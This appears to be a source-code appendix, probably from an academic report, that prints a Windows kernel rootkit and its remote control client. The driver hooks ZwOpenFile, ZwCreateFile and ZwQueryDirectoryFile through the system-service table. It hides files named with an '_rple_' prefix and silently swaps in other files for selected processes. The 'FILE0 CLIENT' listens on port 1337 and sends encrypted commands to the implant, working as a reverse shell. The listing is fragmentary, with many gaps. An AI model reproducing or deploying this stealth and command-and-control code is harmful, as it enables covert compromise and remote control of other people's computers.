>ObjectName,&us,1); 
  } 
  i++; 















in:  POBJECT_ATTRIBUTES ObjectAttributes - pointer to the 
   struct of attributes defining the object requested 
   char *Filename - name of file to replace with 
return: none 
 
This function takes a pointer to the ObjectAttributes that 
define the file being requested and replaces the name of 
the requested file with Filename. 
*******************************************************/ 
void MyHackedFileSwitch(POBJECT_ATTRIBUTES ObjectAttributes){ 
 int len,i,j; 
 len = ObjectAttributes->ObjectName->Length + 12; 
 ObjectAttributes->ObjectName->Length +=12; 
  
 if(ObjectAttributes->ObjectName->Buffer[0] == '\\'){ 
  //we have to put the _rple_ in the right place 
  //fined the last '\' 
  j= len - 12; 
  while(ObjectAttributes->ObjectName->Buffer[j] !='\\' && j>-1){ 
   j--; 
  } 
  for(i=len; i>j; i--){ 
   ObjectAttributes->ObjectName->Buffer[i] =  
        ObjectAttributes->ObjectName->Buffer[i-6]; 
  } 
  j++; 
   
  ObjectAttributes->ObjectName->Buffer[j]='_'; 
  ObjectAttributes->ObjectName->Buffer[j+1]='r'; 
  ObjectAttributes->ObjectName->Buffer[j+2]='p'; 
  ObjectAttributes->ObjectName->Buffer[j+3]='l'; 
  ObjectAttributes->ObjectName->Buffer[j+4]='e'; 
  ObjectAttributes->ObjectName->Buffer[j+5]='_'; 
  ObjectAttributes->ObjectName->Buffer[len]='\0'; 
   
 }else{ 
  for(i=len; i>5; i--){ 
   ObjectAttributes->ObjectName->Buffer[i] =  
        ObjectAttributes->ObjectName->Buffer[i-6]; 
  } 
   
  ObjectAttributes->ObjectName->Buffer[0]='_'; 
  ObjectAttributes->ObjectName->Buffer[1]='r'; 
  ObjectAttributes->ObjectName->Buffer[2]='p'; 
  ObjectAttributes->ObjectName->Buffer[3]='l'; 
  ObjectAttributes->ObjectName->Buffer[4]='e'; 
  ObjectAttributes->ObjectName->Buffer[5]='_'; 
















Developed by Greg Hoglund of www.rootkit.com 
in:  PVOID FileInformationBuffer 
   FILE_INFORMATION_CLASS FileInfoClass 
return: DWORD length to next directory entry 
 
Given a pointer to a file information buffer this function 
will return the length to the next directory entry.  
*******************************************************/ 
DWORD getDirEntryLenToNext( IN PVOID FileInformationBuffer, 
     IN FILE_INFORMATION_CLASS FileInfoClass) 
{ 
 DWORD result =  
 switch(FileInfoClass){ 
       case FileDirectoryInformation: 
         result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer) 
            ->NextEntryOffset; 
         break; 
       case FileFullDirectoryInformation: 
         result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer) 
            ->NextEntryOffset; 
         break; 
      case FileIdFullDirectoryInformation: 
    result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer) 
            ->NextEntryOffset; 
    break; 
   case FileBothDirectoryInformation: 
    result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer) 
            ->NextEntryOffset; 
    break; 
   case FileIdBothDirectoryInformation: 
    result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer) 
            ->NextEntryOffset; 
    break; 
   case FileNamesInformation: 
    result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer) 
            ->NextEntryOffset; 
    break; 
 } 





Developed by Greg Hoglund of www.rootkit.com 
in:  PVOID FileInformationBuffer 
   FILE_INFORMATION_CLASS FileInfoClass 
   DWORD value 
return: none 
 
Given a pointer to a file information buffer this function 
will set the length to the next directory entry.  
*******************************************************/ 
void setDirEntryLenToNext( IN PVOID FileInformationBuffer, 
     IN FILE_INFORMATION_CLASS FileInfoClass,  
     IN DWORD value) 
{ 
 switch(FileInfoClass){ 
  case FileDirectoryInformation: 
   ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer) 
          ->NextEntryOffset = value; 
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   break; 
  case FileFullDirectoryInformation: 
   ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer) 
          ->NextEntryOffset = value; 
   break; 
  case FileIdFullDirectoryInformation: 
   ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer) 
          ->NextEntryOffset = value; 
   break; 
  case FileBothDirectoryInformation: 
   ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer) 
          ->NextEntryOffset = value; 
   break; 
  case FileIdBothDirectoryInformation: 
   ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer) 
          ->NextEntryOffset = value; 
   break; 
  case FileNamesInformation: 
   ((PFILE_NAMES_INFORMATION)FileInformationBuffer) 
          ->NextEntryOffset= value; 






Developed by Greg Hoglund of www.rootkit.com 
in:  PVOID FileInformationBuffer 
   FILE_INFORMATION_CLASS FileInfoClass 
return: PVOID filename 
 
Given a pointer to a file information buffer this function 
will return the name of the file at the current directory 
entry.  
*******************************************************/ 
PVOID getDirEntryFileName( IN PVOID FileInformationBuffer, 
      IN FILE_INFORMATION_CLASS FileInfoClass) 
{ 
 PVOID result = 0; 
 switch(FileInfoClass){ 
  case FileDirectoryInformation: 
   result = (PVOID)&((PFILE_DIRECTORY_INFORMATION) 
       FileInformationBuffer)->FileName[0]; 
   break; 
  case FileFullDirectoryInformation: 
   result = (PVOID)&((PFILE_FULL_DIR_INFORMATION) 
       FileInformationBuffer)->FileName[0]; 
   break; 
  case FileIdFullDirectoryInformation: 
   result = (PVOID)&((PFILE_ID_FULL_DIR_INFORMATION) 
       FileInformationBuffer)->FileName[0]; 
   break; 
  case FileBothDirectoryInformation: 
   result = (PVOID)&((PFILE_BOTH_DIR_INFORMATION) 
       FileInformationBuffer)->FileName[0]; 
   break; 
  case FileIdBothDirectoryInformation: 
   result = (PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION) 
       FileInformationBuffer)->FileName[0]; 
   break; 
  case FileNamesInformation: 
   result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer) 
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              ->FileName[0]; 
   break; 
 } 





Developed by Greg Hoglund of www.rootkit.com 
 
in:  PVOID FileInformationBuffer 
   FILE_INFORMATION_CLASS FileInfoClass 
return: ULONG File name length 
 
Given a pointer to a file information buffer this function 
will return the length of the filename of the specified  
directory entry.  
*******************************************************/ 
ULONG getDirEntryFileLength( IN PVOID FileInformationBuffer, 
     IN FILE_INFORMATION_CLASS FileInfoClass) 
{ 
 ULONG result = 0; 
 switch(FileInfoClass){ 
  case FileDirectoryInformation: 
   result = (ULONG)((PFILE_DIRECTORY_INFORMATION) 
      FileInformationBuffer)->FileNameLength; 
   break; 
  case FileFullDirectoryInformation: 
   result = (ULONG)((PFILE_FULL_DIR_INFORMATION)      
      FileInformationBuffer)->FileNameLength; 
   break; 
  case FileIdFullDirectoryInformation: 
   result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION) 
      FileInformationBuffer)->FileNameLength; 
   break; 
  case FileBothDirectoryInformation: 
   result =(ULONG)((PFILE_BOTH_DIR_INFORMATION) 
      FileInformationBuffer)->FileNameLength; 
   break; 
  case FileIdBothDirectoryInformation: 
   result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION) 
      FileInformationBuffer)->FileNameLength; 
   break; 
  case FileNamesInformation: 
   result =(ULONG)((PFILE_NAMES_INFORMATION) 
      FileInformationBuffer)->FileNameLength; 
   break; 
 } 





Developed by Greg Hoglund of www.rootkit.com 
 
This function searches for the location of the process 





    PEPROCESS curproc; 
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    int i; 
 curproc = PsGetCurrentProcess(); 
    for( i = 0; i < 3*PAGE_SIZE; i++ )  
 { 
        if( !strncmp( "System", (PCHAR) curproc + i, 
         strlen("System") )) 
  { 
            gProcessNameOffset = i; 
  } 





Developed by Greg Hoglund of www.rootkit.com 
 
in: PCHAR theName 
out: BOOL success 
 
This fucntion gets the name of the current process and 
copies it into the PCHAR buffer supplied as a parameter. 
*******************************************************/ 
BOOL GetProcessName( PCHAR theName ) 
{ 
    PEPROCESS       curproc; 
    char            *nameptr; 
    ULONG           i; 
    KIRQL           oldirql; 
 
    if( gProcessNameOffset )  
 { 
        curproc = PsGetCurrentProcess(); 
        nameptr   = (PCHAR) curproc + gProcessNameOffset; 
        strncpy( theName, nameptr, NT_PROCNAMELEN ); 
        theName[NT_PROCNAMELEN] = 0; /* NULL at end */ 
  return TRUE; 
    }  





in: char *buffer 
out: char *line 
 
This function takes pointer to a character array and returns 
the first line in the buffer. It is used during the parsing 
of the configuration file. 
******************************************************/ 
char *MyGetLine(char *buffer){ 
 char *result=buffer; 
 int i=0; 
 while(buffer[i] != '\n'){ 












in: char *buffer 
out: int success 
 
This function takes pointer to a character array, which 
in this program is the data in the config file. It parses 
this information and sets up global variables for later use. 
******************************************************/ 
int ParseConfigFile(char *buffer){ 
 NTSTATUS rc; 
 ULONG num; 
 int named=1; 
 char *head=buffer,*line,temp[4]; 
 int i=0, len, num_read_lines=0,num_files=0; 
 // Grab Process name 
 line=MyGetLine(buffer); 
 buffer+=(strlen(line)+2); 
 if(strncmp(line,"num process names: ", 19) == 0){ 
  line+=19; 
  rc = RtlCharToInteger(line,10,(PULONG)&num_read_lines); 
  DbgPrint("Num Process Names: %d\n",num_read_lines); 
  if(num_read_lines < 0){ 
   DbgPrint("Bad number of process name lines"); 
   return 0; 
  } 
  for(i=0;i<num_read_lines;i++){ 
   line=MyGetLine(buffer); 
   len=strlen(line); 
   buffer+=len+2; 
   pNames[numProcNames] = ExAllocatePool(NonPagedPool,len+1); 
   strncpy(pNames[numProcNames],line,len+1); 
   pNames[numProcNames][len]='\0'; 
   DbgPrint("FileHooker: Process Name: %s",pNames[numProcNames]); 
   numProcNames++; 
  } 
 
 }else{ 
  DbgPrint("Bad num process names line"); 
  return 0; 
 } 
   
 line=MyGetLine(buffer); 
 buffer+=(strlen(line)+2); 
 /***** Grab process numbers ****/ 
 if(strncmp(line,"num process nums: ", 18) ==0){ 
  line+=18; 
  rc = RtlCharToInteger(line,10,(PULONG)&num_read_lines); 
  DbgPrint("Num Process Nums: %d\n",num_read_lines); 
  if(num_read_lines < 0){ 
   DbgPrint("Bad num process num lines"); 
   return 0; 
  } 
  for(i=0;i<num_read_lines;i++){ 
   line=MyGetLine(buffer); 
   len=strlen(line); 
   buffer+=len+2; 
   rc = RtlCharToInteger(line,10,&num); 
   pNums[numProcNums]=(int) num; 
   DbgPrint("Process Num: %d\n",pNums[numProcNums]); 
   numProcNums++; 
  }  
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 }else{ 
  DbgPrint("Bad num process nums line"); 
  return 0; 
 } 
 
   
 /*****        Time to get blocked files       *****/ 
 /***** First read in number of files to block *****/ 
 line=MyGetLine(buffer); 
 buffer+=(strlen(line)+2); 
 if(strncmp(line,"num blocked files: ", 19) ==0){ 
  line+=19; 
  rc = RtlCharToInteger(line,10,(PULONG)&num_files); 
  DbgPrint("Num Blocked Files: %d\n", num_files); 
  numBlock=num_files; 
  if(num_files < 0) 
   return 0; 
  for(i=0;i<num_files;i++){ 
   line=MyGetLine(buffer); 
   len=strlen(line); 
   buffer+=(len+2); 
   //snprintf(temp,4,"bam%d",i); 
   blockNames[i] = ExAllocatePool(NonPagedPool,len+1); 
   strncpy(blockNames[i],line,len+1); 
   DbgPrint("File %d: %s\n",i,blockNames[i]); 
  } 
 }else{ 
  DbgPrint("Bad num blocked files line"); 
  return 0; 
 } 
  
 /* Successful Parsing!! */ 






This function replaces the standard windows system call 
ZwQueryDirectoryFile. It modifies directory listings to 
hide files that begin with _rple_. This code comes  
courtesy of www.rootkits.com with modifications by Ed  
Murphy. More information specific inputs can be found  
in the Windows DDK. 
******************************************************/ 
NTSTATUS NewZwQueryDirectoryFile( 
 IN HANDLE hFile, 
 IN HANDLE hEvent OPTIONAL, 
 IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
 IN PVOID IoApcContext OPTIONAL, 
 OUT PIO_STATUS_BLOCK pIoStatusBlock, 
 OUT PVOID FileInformationBuffer, 
 IN ULONG FileInformationBufferLength, 
 IN FILE_INFORMATION_CLASS FileInfoClass, 
 IN BOOLEAN bReturnOnlyOneEntry, 
 IN PUNICODE_STRING PathMask OPTIONAL, 
 IN BOOLEAN bRestartQuery 
) 
{ 
 NTSTATUS rc; 
 char aProcessName[PROCNAMELEN]; 
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 GetProcessName( aProcessName ); 
 
 /* Query Directory Debug info 
 DbgPrint("%0.8x hevent",hEvent); 
 DbgPrint("%0.8x ioapc",IoApcRoutine); 
 DbgPrint("%0.8x ioapcc",IoApcContext); 
 DbgPrint("%0.8x fibl",FileInformationBufferLength); 
 DbgPrint("%0.8x file info class",FileInfoClass); 
 DbgPrint("%d return one", bReturnOnlyOneEntry); 
 DbgPrint("%wZ path mask",PathMask); 
 DbgPrint("%d restart", bRestartQuery); 
*/ 
 
 rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) ( 
  hFile,        
  hEvent, 
  IoApcRoutine, 
  IoApcContext, 
  pIoStatusBlock, 
  FileInformationBuffer, 
  FileInformationBufferLength, 
  FileInfoClass, 
  bReturnOnlyOneEntry, 
  PathMask, 
  bRestartQuery); 
 
 if( NT_SUCCESS( rc ) &&  
  (FileInfoClass == FileDirectoryInformation || 
  FileInfoClass == FileFullDirectoryInformation || 
  FileInfoClass == FileIdFullDirectoryInformation || 
  FileInfoClass == FileBothDirectoryInformation || 
  FileInfoClass == FileIdBothDirectoryInformation || 
  FileInfoClass == FileNamesInformation )){ 
   PVOID p = FileInformationBuffer; 
    PVOID pLast = NULL; 
    int bLastOne; 
    //Check if the rootkit is call the process 
    if(!rkcall){ 
     do{ 
       bLastOne = !getDirEntryLenToNext(p,FileInfoClass); 
       // compare directory-name prefix with 
  // '_rple_' to decide if to hide or not. 
      if (getDirEntryFileLength(p,FileInfoClass) >= 12) { 
       PVOID fn = getDirEntryFileName(p,FileInfoClass); 
        if( RtlCompareMemory( fn, (PVOID)"_\0r\0p\0l\0e\0_\0", 12 ) == 12  
                  ){ 
           if( bLastOne ){ 
             if( p == FileInformationBuffer ) rc = 0x80000006; 
             else setDirEntryLenToNext(pLast,FileInfoClass, 0); 
             break; 
           }else{ 
             int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer; 
             int iLeft = (DWORD)FileInformationBufferLength -  
       iPos - getDirEntryLenToNext(p,FileInfoClass); 
             RtlCopyMemory( p,  
     (PVOID)( (char *)p + 
       getDirEntryLenToNext(p,FileInfoClass) ), 
       (DWORD)iLeft ); 
             continue; 
           } 
         }  
       } 
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       pLast = p; 
       p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) ); 
     }while( !bLastOne ); 
   } 
  } 






This function replaces the standard windows system call 
ZwCreateFile. It monitors requests to priviledged files, 
and if a process is not authorized to access the file it  
returns a different on it is place. More information  
specific inputs can be found in the Windows DDK. 
******************************************************/ 
NTSTATUS NewZwCreateFile( 
 OUT PHANDLE FileHandle, 
 IN ACCESS_MASK DesiredAccess, 
 IN POBJECT_ATTRIBUTES ObjectAttributes, 
 OUT PIO_STATUS_BLOCK IoStatusBlock, 
 IN PLARGE_INTEGER AllocationSize OPTIONAL, 
 IN ULONG FileAttributes, 
 IN ULONG ShareAccess, 
 IN ULONG CreateDisposition, 
 IN ULONG CreateOptions, 
 IN PVOID EaBuffer OPTIONAL, 
 IN ULONG EaLength 
) 
{ 
 NTSTATUS rc; 
 DWORD curproc =0x00000000; 
 CHAR aProcessName[PROCNAMELEN]; 
 int g_service=0,i=0, myPID, blockfile=0,len=0; 
 char *fn;  
 ANSI_STRING as; 
 PUNICODE_STRING filename; 
 UNICODE_STRING dirname; 
 OBJECT_ATTRIBUTES dirOA; 
 IO_STATUS_BLOCK diosb; 
 PVOID fileInfo; 
 HANDLE dirHandle; 
  
 curproc = (DWORD) PsGetCurrentProcess(); 
 myPID = *((int *)(curproc+PIDOFFSET)); 
    
 GetProcessName( aProcessName ); 
  
 if(!checkHookedProcesses(aProcessName,myPID)){ 
  g_service=1; 
 
//DbgPrint("FileHooker: NewCreateFile() from %s\n", aProcessName); 
//DbgPrint("FileHooker: File reqested: %wZ\n",ObjectAttributes->ObjectName); 
/*DbgPrint("FileHooker: Length %d\n",ObjectAttributes->ObjectName->Length); 
DbgPrint("FileHooker: Length %d\n",ObjectAttributes->ObjectName 
             ->MaximumLength); 
DbgPrint("FileHooker: PID %d\n:", myPID);*/ 
   
  blockfile = MyCheckFileName(ObjectAttributes); 
  if(!blockfile){ 
   UNICODE_STRING new_filename; 
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   DbgPrint("FileHooker: Bad Name, Block File, %d", index); 
   DbgPrint("FileHooker: Replacing with: %s\n",replaceNames[index]); 
    
   //insert the _rple_ tag into the request for a file 
   MyHackedFileSwitch(ObjectAttributes); 
  } 
   
/*----------------------------------------------------------- 
DEBUG STATMENTS TO PRINT ALL OF THE OBJECTATTRIBUTES 
    
DbgPrint("FileHooker: File reqested: ***%wZ***\n",ObjectAttributes-
>ObjectName); 




 DbgPrint("FileHooker: Char@[%d]: %c\n",i,ObjectAttributes-> 
           ObjectName->Buffer[i]); 
} 
DbgPrint("FileHooker: DesiredAccess: %0.8x\n",DesiredAccess); 
DbgPrint("FileHooker: AllocationSize: %0.8x\n",AllocationSize); 
DbgPrint("FileHooker: FileAttributes: %0.8x\n",FileAttributes); 
DbgPrint("FileHooker: ShareAccess: %0.8x\n",ShareAccess); 
DbgPrint("FileHooker: CreateDisposition: %0.8x\n",CreateDisposition); 




  rc=((ZWCREATEFILE)(OldZwCreateFile)) ( 
  FileHandle, 
  DesiredAccess, 
  ObjectAttributes, 
  IoStatusBlock, 
  AllocationSize, 
  FileAttributes, 
  ShareAccess, 
  CreateDisposition, 
  CreateOptions, 
  EaBuffer, 








This function replaces the standard windows system call 
ZwOpenFile. It monitors requests to priviledged files, 
and if a process is not authorized to access the file it  
returns a different on it is place. It also keeps track 
of the last directory accessed for processes that do not 
request a file using the full path. More information  
specific inputs can be found in the Windows DDK. 
******************************************************/ 
NTSTATUS NewZwOpenFile( 
 OUT PHANDLE FileHandle, 
 IN ACCESS_MASK DesiredAccess, 
 IN POBJECT_ATTRIBUTES ObjectAttributes, 
 OUT PIO_STATUS_BLOCK IoStatusBlock, 
 IN ULONG ShareAccess, 




 NTSTATUS rc; 
 DWORD curproc =0x00000000; 
 CHAR aProcessName[PROCNAMELEN]; 
 int g_service,i=0, myPID, blockfile=0; 
 ANSI_STRING as; 
 UNICODE_STRING us; 
 PUNICODE_STRING filename; 
   
 curproc = (DWORD) PsGetCurrentProcess(); 
 myPID = *((int *)(curproc+PIDOFFSET)); 
 
 GetProcessName( aProcessName ); 
   
 if(!checkHookedProcesses(aProcessName,myPID)){ 
  g_service=1; 
   
/*DbgPrint("FileHooker: NewZwOpenFile() from %s\n", aProcessName); 
DbgPrint("FileHooker: File reqested: %wZ\n",ObjectAttributes->ObjectName); 
DbgPrint("%0.8x da\n",DesiredAccess); 
DbgPrint("%0.8x share a\n",ShareAccess); 
DbgPrint("%0.8x openoptions\n",OpenOptions); 
*/ 
  if(lastDir != NULL) 
   ExFreePoolWithTag(lastDir,'lstd'); 
  
   
//DbgPrint("FileHooker: File reqested: %wZ\n",ObjectAttributes->ObjectName); 
  RtlUnicodeStringToAnsiString(&as, ObjectAttributes->ObjectName,1);  
  lastDir = ExAllocatePoolWithTag(NonPagedPool,(as.Length)+1,'lstd');  
  memcpy(lastDir, as.Buffer, as.Length); 
  lastDir[as.Length]='\0'; 
  
   
//DbgPrint("FileHooker: Length %d\n",ObjectAttributes->ObjectName->Length); 
//DbgPrint("FileHooker: Length %d\n",ObjectAttributes->ObjectName-
>MaximumLength); 
//DbgPrint("FileHooker: PID %d\n:", myPID); 
   
  blockfile = MyCheckFileName(ObjectAttributes); 
  if(!blockfile){ 
   DbgPrint("FileHooker: Bad Name, Block File, %d", index); 
   DbgPrint("FileHooker: Replaceing with: %s\n",replaceNames[index]); 
   MyHackedFileSwitch(ObjectAttributes); 
   index++;index=index%numReplace; 
  } 
 } 
 rc=((ZWOPENFILE)(OldZwOpenFile)) ( 
   FileHandle, 
   DesiredAccess, 
   ObjectAttributes, 
   IoStatusBlock, 
   ShareAccess, 






    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP           Irp 
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    ) 
{ 
    Irp->IoStatus.Status      = STATUS_SUCCESS; 
    IoCompleteRequest (Irp, 
                       IO_NO_INCREMENT 
                       ); 






Describes what actions to take when the driver is unloaded. 
Here we free allocated memory and replace the original 
fucntion calls. 
******************************************************/ 
VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) 
{ 
 int i=0; 
 DbgPrint("File Hooking: OnUnload called\n"); 
  
 //Free all allocated memory 
 while(i < numBlock){ 
  ExFreePool(blockNames[i]); 




 while(i < numReplace){ 
  ExFreePool(replaceNames[i]); 




 while(i < numProcNames){ 
  ExFreePool(pNames[i]); 
  i++; 
 } 
  
 // unhook system calls 
 if(configed){ 
  _asm cli 
  (ZWOPENFILE)(SYSTEMSERVICE(ZwOpenFile)) = OldZwOpenFile; 
  (ZWCREATEFILE)(SYSTEMSERVICE(ZwCreateFile)) = OldZwCreateFile; 
  (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = 
OldZwQueryDirectoryFile; 


















Describes what actions are to be taken when the driver 
loads. Here we parse the configuration file to setup 
global variables, and replace the original fucntion call 
addresses with my modified calls. 
******************************************************/ 
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING 
theRegistryPath ) 
{ 
 int i; 
 NTSTATUS rc; 
 HANDLE configHandle; 
 OBJECT_ATTRIBUTES ObjectAttributes; 
 UNICODE_STRING us; 
 IO_STATUS_BLOCK IoStatusBlock; 
 LARGE_INTEGER byteOffset; 
 char buf[1024]; 
 char *line; 
  
  // Register a dispatch function 
 for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++){ 
   theDriverObject->MajorFunction[i] = OnStubDispatch; 
  } 
  




 DbgPrint("File Hooking Kit Loaded!"); 
 rc = ZwCreateFile(&configHandle, 
          FILE_READ_DATA, 
          &ObjectAttributes, 
          &IoStatusBlock, 
          NULL, 
          FILE_ATTRIBUTE_NORMAL, 
          0, 
          FILE_OPEN, 
          FILE_SYNCHRONOUS_IO_NONALERT, 
          NULL, 
          0); 
  
  
 if(NT_SUCCESS(rc)){           
  DbgPrint("Config file loaded"); 
  byteOffset.LowPart = byteOffset.HighPart =0; 
  rc = ZwReadFile(configHandle, 
           NULL, 
           NULL, 
           NULL, 
           &IoStatusBlock, 
           buf, 
           1023, 
           &byteOffset, 
           NULL); 
  //DbgPrint("Read rc: %0.8x",rc); 
  if(NT_SUCCESS(rc)){ 
   buf[1023]='\0'; 
   if(ParseConfigFile(buf)){ 
    //print vals 
    DbgPrint("Done parsing\n"); 
    configed=1; 
    // save old system call locations 
 65
    OldZwOpenFile = (ZWOPENFILE)(SYSTEMSERVICE(ZwOpenFile)); 
    OldZwCreateFile = (ZWCREATEFILE)(SYSTEMSERVICE(ZwCreateFile)); 




    // hook system calls 
    _asm cli 
     (ZWOPENFILE)(SYSTEMSERVICE(ZwOpenFile)) = NewZwOpenFile; 
     (ZWCREATEFILE)(SYSTEMSERVICE(ZwCreateFile)) = 
              NewZwCreateFile; 
          
 (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))= 
            NewZwQueryDirectoryFile; 
    _asm sti 
     
   }else{ 
    DbgPrint("Invalid config file, please reload the driver."); 
   } 
  }else{ 
   DbgPrint("Invalid config file, please reload the driver."); 
  } 
 }else{ 





            




B.  FILE0 CLIENT 
/***** 
** 
** Ed Murphy 
** 
** Client for FILE0 
** This program will accept a connection 
** from FILE0 and provide an internactive 













#define PORT 1337 
#define BACKLOG 5 
 
unsigned char *key_stream; 





** This function receives a command from 
** standard in and stores it in the buffer 
** passed to the function. 
*****/ 
void get_cmd(char *buf){ 
 int size = strlen(buf),i=0; 
 buf[i]= getc(stdin); 
 while(i < 1024 && buf[i] != '\n'){  
  i++; 







** This function will perform the neccessary 
** permutation on the key received from 
** FILE0. I will generate both the key and the 
** permuted key used in the key stream generation. 
*****/ 
void key_permute(){ 
 unsigned int esi,ebx,edx,i=0; 
  
 for(i;i<100;i++){ 
  esi=key; 
  ebx=esi; 
  ebx=ebx << 1; 
  edx=esi; 
  edx=edx<<6; 
  esi=esi^edx; 
  esi = esi >> 30; 
  esi = esi & 1; 
  ebx=ebx|esi; 
  key = ebx; 
 } 
 
 permuted_key = key; 
  
   
 for(i=0;i<100;i++){ 
  esi = permuted_key; 
  ebx=esi; 
  ebx= ebx << 1; 
  edx = esi; 
  edx = edx << 13; 
  esi = esi ^ edx; 
  esi = esi >> 30; 
  esi = esi & 1; 
  ebx = ebx | esi; 
  permuted_key = ebx; 
 } 
  
 //Debug statment to print the permuted key 




** Given the length of the buffer to be encrypted/ 
 67
** decrypted this function will generated the key stream 
** needed to encrypt or decrypt the buffer (stored in the 
** keystream global buffer 
*****/ 
void gen_stream(int len){ 
 int i=0,j=0; 
 
 unsigned int eax,ecx,edx,edi; 
 char temp; 
 
 key_stream = malloc(len); 
 memset(key_stream,0,len); 
  
 while(i < len){ 
  eax = key; 
  eax+=permuted_key; 
  sum_keys = eax; 
  edx=i; 
  edx = edx << 16; 
  sum_keys = sum_keys ^ edx; 
  sum_keys +=i; 
  edx = sum_keys; 
  edx = edx << 16; 
  ecx = sum_keys; 
  ecx = ecx >> 16;//sign extended 
  ecx = ecx & 0xFFFF;//so mask off the sign 
  edx += ecx; 
  sum_keys = edx; 
  eax = edx; 
  key = key ^ eax; 
  permuted_key = permuted_key ^ eax; 
   
  if(i%2 == 1) 
   sum_keys = key; 
  else 
   sum_keys = permuted_key; 
  
  for(j=0;j<4;j++){ 
   edx = sum_keys; 
   ecx = j; 
   ecx = ecx << 3; 
   eax = edx; 
   eax = eax >> ecx; 
   ecx = eax; 
   ecx = ecx & 0xFF; 
   edx = edx ^ ecx; 
   sum_keys = edx; 
  } 
 
  eax = edx; 
  eax = eax & 0xFF; 
  temp = (char) eax; 
  memcpy(&key_stream[i],&temp,1); 





** This function will decrypt an incoming 
** packet from FILE0 and print the result 
** to standard out. 
*****/ 
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void decrypt_packet(char *buffer, int len){ 
 int msg_len,key_len; 
 int i=0; 
 unsigned char key_string[10]; 
  
 printf("*****decrypt packet*****\n"); 
 key_string[i] = buffer[i] ^ 0xFF; 
 //Search for the first '#' character in the incoming 
 //message and extract the decryption key 
 while((buffer[i]&0xFF^0xFF) != 0x23){ 
  key_string[i] = buffer[i] ^ 0xFF; 
 } 
 //convert the ASCII representation of the  
 //key to its unsigned integer equvialent 
 key = abs(atoi(key_string)); 
 printf("key: %d %#x\n",i,key); 
 key_len=i+1; 
 msg_len = len - key_len;  
 printf("msg_len: %d\n", msg_len); 
  
 //permute the receive key 
 key_permute(); 
 //generate the decryption string 
 gen_stream(msg_len); 
 //decrypt the data from FILE0 
 for(i=0;i<msg_len;i++){ 
  buffer[i+key_len] = key_stream[i] ^  
       (buffer[i+key_len] & 0xFF); 
 } 
 //null terminate the buffer and print it to  







** This function is used to read the entire buffer 
** sent by FILE0 off of the socket. After reading the 
** full buffer it is then passed to decrypt_packet 
** for decryption. 
*****/ 
int read_fully(int sockfd, char *buff, int len){ 
 int recv_bytes=0,total_bytes=0; 
 int timeout=10; 
 fd_set readfds; 
 struct timeval tv; 
  
 tv.tv_sec = 0; 
 tv.tv_usec = 20000; 
 FD_SET(sockfd,&readfds); 
  
 printf("reading\n");  
 recv_bytes=recv(sockfd,buff,len,0); 
 decrypt_packet(buff,recv_bytes); 
 total_bytes = recv_bytes; 
 while(recv_bytes != 0){ 
  select(sockfd+1,&readfds,NULL,NULL,&tv);  
  if(FD_ISSET(sockfd,&readfds)){ 
   recv_bytes=recv(sockfd,buff,len,0); 
   decrypt_packet(buff,recv_bytes); 
  }  
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  else 
   recv_bytes=0; 
  total_bytes+=recv_bytes; 
 } 




 int sockfd,new_fd,msg_len,key_len; 
 struct sockaddr_in my_addr,server_addr; 
 int sin_size,res=0,bytes_recved,i=0,total_bytes=0,done=0; 
 unsigned char temp_buf[1024],buffer[2048],key_string[10]; 
 unsigned char cmd_buf[1024]; 
 unsigned char *msg; 
 
 sockfd = socket(PF_INET,SOCK_STREAM,0); 
 printf("Waiting for connection\n"); 
 
 my_addr.sin_family = AF_INET; 
 my_addr.sin_port = htons(PORT); 
 my_addr.sin_addr.s_addr = INADDR_ANY; 
 memset(my_addr.sin_zero,'\0',sizeof(my_addr.sin_zero)); 
  
 //Initialize networking 
 res=bind(sockfd,(struct sockaddr *)&my_addr, 
        sizeof(struct sockaddr)); 
 if(res > -1){ 
  res=listen(sockfd,BACKLOG); 
  if(res > -1){ 
   sin_size = sizeof(struct sockaddr_in); 
   //wait for connection from FILE0 
   new_fd = accept(sockfd,(struct sockaddr *)&server_addr, 
              &sin_size); 
   //After accepting a connection from FILE0 this 
   //loop with continuously execute commands and 
   //receive the result  
   while(!done){ 
    memset(buffer,0,2048); 
    //receive message from FILE0 
    total_bytes = read_fully(new_fd,buffer,2048); 
     
    //start our message buffer with the key requried 
    //for the decryption of our command 
    memset(buffer, 0, 1024); 
    sprintf(buffer, "%ld", my_key); 
    strcat(buffer, "#"); 
    key = my_key; 
    key_permute(); 
    for(i=0;i<strlen(buffer);i++){ 
     buffer[i] = buffer[i] & 0xFF ^ 0xFF; 
    } 
    memset(cmd_buf,0,1024); 
    //get user command from standard in 
    get_cmd(cmd_buf); 
    // if command is quit or exit send the command 
    // and terminate the loop 
    if(strncasecmp(cmd_buf,"quit",4) == 0|| 
       strncasecmp(cmd_buf,"exit",4) == 0) 
     done=1; 
    gen_stream(strlen(cmd_buf)); 
    //encrypt user command 
    for(i=0; i<strlen(cmd_buf); i++){ 
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     cmd_buf[i] = cmd_buf[i] ^ key_stream[i]; 
    } 
    //construct command buffer to be sent to FILE0 
    strncat(buffer,cmd_buf,strlen(cmd_buf)); 
    //send buffer 
